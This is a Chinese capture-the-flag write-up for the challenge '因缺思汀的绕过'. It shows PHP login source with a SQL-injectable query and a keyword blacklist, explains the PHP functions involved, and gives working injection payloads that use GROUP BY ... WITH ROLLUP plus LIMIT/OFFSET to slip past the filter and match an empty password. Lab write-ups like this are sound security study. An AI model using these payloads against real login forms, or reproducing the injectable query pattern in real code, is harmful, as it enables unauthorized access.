CTF-因缺思汀的绕过

感觉学到挺多的一道题

附上源码(在解题链接根目录打开sourec.txt)

'."
"; echo ''."
"; echo ''."
"; echo ''."
"; echo ''."
"; echo ''."
"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "水可载舟,亦可赛艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; } mysql_close($con); ?>

解释一些函数的意思

PHP mysql_fetch_array() 函数

mysql_fetch_array(data,array_type)
data				可选。规定要使用的数据指针。该数据指针是 mysql_query() 函数产生的结果。
array_type			可选。规定返回哪种结果。可能的值:
				MYSQL_ASSOC - 关联数组
				MYSQL_NUM - 数字数组
				MYSQL_BOTH - 默认。同时产生关联和数字数组


PHP mysql_query() 函数

mysql_query(query,connection)
query				必需。规定要发送的 SQL 查询。注释:查询字符串不应以分号结束。
connection			可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接。

PHP mysql_num_rows() 函数

mysql_num_rows() 	        函数返回结果集中行的数目

mysql_num_rows(data)

data	必需。结果集。该结果集从 mysql_query() 的调用中得到


preg_match — 执行匹配正则表达式

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
pattern		要搜索的模式,字符串类型。
subject		输入字符串。
matches		如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
flags		flags可以被设置为以下标记值:
PREG_OFFSET_CAPTURE
如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。


GROUP BY WITH ROLLUP 改善统计性能
使用 GROUP BY 的 WITH ROLLUP 字句可以检索出更多的分组聚合信息,它不仅仅能像一般的 GROUP BY 语句那样检索出各组的聚合信息,还能检索出本组类的整体聚合信息


is_array		    判断变量类型是否为数组类型。


PHP implode() 函数 		把数组元素组合为字符串
从源码中可以知道这些全都被过滤了:and|select|from|where|union|join|sleep|benchmark|,|\(|\)


并且数据库中只有一条数据
if (mysql_num_rows($query) == 1)
最核心的部分是这里


$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
大致的执行过程是先将用户输入的uname作为查询条件,在数据库中查询uname和pwd,然后将查询到的pwd与用户输入的pwd进行比较,内容一致才输出flag


这里的思路是,利用group by pwd with rollup在查询中的一个特点,他可以返回pwd所在的那一条记录,通过limit控制返回哪一条,因此他不可以返回多条,一旦返回2条及以上,pwd就会为空,但同一条记录中的其他字段则是正常的


那么利用这一点令查询结果为空,我们输入的pwd也为空值,则构成了if(null==null)为true


即:输入的用户名为: ' or 1=1 group by pwd with rollup limit 1 offset 2 #
这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=' ' or 1=1
group by pwd with rollup  (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2  (从第二行开始查询)
#注释
此时密码只要为空即可查询成功

CTF{with_rollup_interesting}


 
  

https://b.zlweb.cc/shiyanbar-yqstdrg-writeup.html

分析一下,可以知道,要想显示flag值,需要满足以下条件:

1.需要绕过AttackFilter过滤 2.需要让mysql_num_rows的结果为1 3.需要$key['pwd']的值和提交的$_POST['pwd']的值相等 看过滤列表,并没有过滤or,所以我们可以使用' or ''=''的句型,尝试提交post数据:uname=' or ''=''--+&pwd=xxx,此时显示:一颗赛艇,然后并没有满足条件2,后来看到如下提示: 表中只有uname和pwd字段 with rollup 后来查了下用法(关于with rollup的介绍:https://dev.mysql.com/doc/refman/5.7/en/group-by-modifiers.html),接着提交post数据:uname=' or ''='' group by pwd with rollup--+&pwd=xxx,依然显示一颗赛艇,后来发现需要使用limit 1 offset x来确定数据,因为只能显示1条,为了条件3,我们需要让其返回pwd为NULL的那一行,而且注释需要使用#,不能用--+。 条件2也满足了,下面就是满足条件3,此时通过上面构造的payload,pwd的值为NULL,所以我们只需要pwd什么都不写,默认就为NULL了,于是构造完整的payload如下: uname=' or ''='' group by pwd with rollup limit 1 offset 2--+&pwd= 因为with rollup的原因,会多显示一条,所以offset应该设为2,提交后就可以正常显示flag

你可能感兴趣的:(安全技术)